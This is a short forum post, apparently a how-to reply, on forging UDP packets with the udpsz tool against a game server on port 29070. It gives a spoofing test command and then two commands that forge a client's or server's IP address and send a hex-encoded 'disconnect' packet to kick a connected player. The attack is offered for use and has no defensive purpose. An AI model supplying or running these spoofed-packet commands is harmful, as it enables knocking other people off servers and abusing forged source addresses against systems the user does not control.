try a simple test:
ask to your friend to run a sniffer like wireshark and on your computer use:
Code:
udpsz -C ffffff7f -P 1.2.3.4 -p 29070 FRIEND_IP 29070 -1
if he will see the packet from 1.2.3.4:29070 means that you can spoof the packets perfectly (so without os/router/nat/isp limitations).
(udpsz:
http://aluigi.org/testz.htm#udpsz)
if spoofing works but using q3noclient there are still no results (your friend remains connected) try using udpsz with a disconnect packet:
Code:
udpsz -C ffffffff646973636f6e6e656374 -P CLIENT_IP -p 29070 SERVER_IP 29070 -1
or viceversa (it's the same):
udpsz -C ffffffff646973636f6e6e656374 -P SERVER_IP -p 29070 CLIENT_IP 29070 -1